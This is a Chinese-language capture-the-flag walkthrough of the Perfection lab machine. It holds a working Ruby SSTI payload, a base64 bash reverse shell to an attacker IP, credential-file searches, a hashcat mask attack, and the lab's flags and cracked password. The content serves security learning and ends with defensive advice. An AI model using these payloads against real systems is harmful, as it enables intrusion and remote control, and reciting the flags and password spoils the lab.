[Meachines][Easy]Perfection
字数 1095 2025-08-19 12:42:26

渗透测试教学文档:Perfection靶机实战分析

1. 靶机概述

Perfection是一台基于Ruby开发的易难度靶机,主要考察以下技术点:

  • 端口扫描与信息收集
  • Ruby SSTI (服务器端模板注入)漏洞利用
  • 权限提升与横向移动
  • 密码哈希破解技术

2. 信息收集阶段

2.1 初始扫描

使用Nmap进行快速扫描:

nmap -sV -sC 10.10.11.253 --min-rate 1000

参数说明:

  • -sV: 服务版本检测
  • -sC: 使用默认脚本扫描
  • --min-rate 1000: 设置最小发包速率为1000包/秒

3. 漏洞利用:Ruby SSTI注入

3.1 确认漏洞

发现目标使用Ruby开发,尝试SSTI注入:

x%0a<%25%3Dsystem("ping+-c1+10.10.16.23");%25>

URL编码解析:

  • %0a: 换行符
  • <%25%3D: <%= (Ruby模板输出标记)
  • system(...): 执行系统命令

3.2 反弹Shell构造

  1. 准备Base64编码的反弹Shell命令:
echo "/bin/bash -i >& /dev/tcp/10.10.16.23/10032 0>&1" | base64
  1. 构造SSTI注入Payload:
category1=x%0a<%25%3Dsystem("echo+'L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjIzLzEwMDMyIDA%2bJjEK'|base64+-d|bash");%25>

4. 初始访问与用户权限

4.1 获取用户Shell

成功获取susan用户权限后,升级终端:

SHELL=/bin/bash script -q /dev/null

4.2 获取用户Flag

cat /home/susan/user.txt
# 6a8f32464a7641145fd3ed87fdc876a1

5. 权限提升

5.1 信息收集

  1. 查找属主为特定UID的文件:
find / -uid 1001 -type f -ls 2>/dev/null | grep -v "/proc*"
  1. 搜索包含用户名的文件:
find / -name "*susan*" -type f -ls 2>/dev/null
  1. 搜索密码相关信息:
cd ~; grep -i password -R .

5.2 发现密码哈希

在数据库文件中找到Susan的密码哈希:

strings ./Migration/pupilpath_credentials.db | grep "Susan"

5.3 密码策略分析

根据泄露信息,密码格式为:
{名字}{名字反向拼写}{1到1,000,000,000之间随机生成的整数}

对于用户susan:

  • 名字:susan
  • 反向:nasus
  • 格式:susan_nasus_?d?d?d?d?d?d?d?d?d

5.4 使用Hashcat破解

  1. 准备哈希文件:
echo abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f > hash
  1. 执行破解:
hashcat -a 3 -m 1400 hash "susan_nasus_?d?d?d?d?d?d?d?d?d"

参数说明:

  • -a 3: 暴力破解模式
  • -m 1400: SHA2-256哈希类型
  • 掩码模式:susan_nasus_后跟9位数字
  1. 破解结果:
susan_nasus_413759210

5.5 获取Root权限

使用破解的密码切换到root:

sudo su
# 输入密码: susan_nasus_413759210

5.6 获取Root Flag

cat /root/root.txt
# ab2d77a013f943f420a48d84563a73bf

6. 技术总结

  1. SSTI注入

    • Ruby模板注入需要闭合模板标签<%= %>
    • 使用URL编码绕过可能的过滤
    • 通过换行符%0a分隔命令
  2. 密码破解

    • 利用信息泄露获取密码策略
    • 使用掩码攻击提高破解效率
    • Hashcat参数选择要匹配哈希类型
  3. 权限提升

    • 通过密码复用实现垂直提权
    • 充分利用系统信息收集技巧

7. 防御建议

  1. 对于Ruby应用:

    • 避免直接执行用户输入
    • 使用安全的模板渲染方法
  2. 密码安全:

    • 避免可预测的密码策略
    • 使用强密码哈希算法
    • 实施多因素认证
  3. 系统安全:

    • 限制sudo权限
    • 定期审计敏感文件权限
    • 监控异常登录行为
渗透测试教学文档:Perfection靶机实战分析 1. 靶机概述 Perfection是一台基于Ruby开发的易难度靶机,主要考察以下技术点: 端口扫描与信息收集 Ruby SSTI (服务器端模板注入)漏洞利用 权限提升与横向移动 密码哈希破解技术 2. 信息收集阶段 2.1 初始扫描 使用Nmap进行快速扫描: 参数说明: -sV : 服务版本检测 -sC : 使用默认脚本扫描 --min-rate 1000 : 设置最小发包速率为1000包/秒 3. 漏洞利用:Ruby SSTI注入 3.1 确认漏洞 发现目标使用Ruby开发,尝试SSTI注入: URL编码解析: %0a : 换行符 <%25%3D : <%= (Ruby模板输出标记) system(...) : 执行系统命令 3.2 反弹Shell构造 准备Base64编码的反弹Shell命令: 构造SSTI注入Payload: 4. 初始访问与用户权限 4.1 获取用户Shell 成功获取susan用户权限后,升级终端: 4.2 获取用户Flag 5. 权限提升 5.1 信息收集 查找属主为特定UID的文件: 搜索包含用户名的文件: 搜索密码相关信息: 5.2 发现密码哈希 在数据库文件中找到Susan的密码哈希: 5.3 密码策略分析 根据泄露信息,密码格式为: {名字}{名字反向拼写}{1到1,000,000,000之间随机生成的整数} 对于用户susan: 名字:susan 反向:nasus 格式: susan_nasus_?d?d?d?d?d?d?d?d?d 5.4 使用Hashcat破解 准备哈希文件: 执行破解: 参数说明: -a 3 : 暴力破解模式 -m 1400 : SHA2-256哈希类型 掩码模式: susan_nasus_ 后跟9位数字 破解结果: 5.5 获取Root权限 使用破解的密码切换到root: 5.6 获取Root Flag 6. 技术总结 SSTI注入 : Ruby模板注入需要闭合模板标签 <%= %> 使用URL编码绕过可能的过滤 通过换行符 %0a 分隔命令 密码破解 : 利用信息泄露获取密码策略 使用掩码攻击提高破解效率 Hashcat参数选择要匹配哈希类型 权限提升 : 通过密码复用实现垂直提权 充分利用系统信息收集技巧 7. 防御建议 对于Ruby应用: 避免直接执行用户输入 使用安全的模板渲染方法 密码安全: 避免可预测的密码策略 使用强密码哈希算法 实施多因素认证 系统安全: 限制sudo权限 定期审计敏感文件权限 监控异常登录行为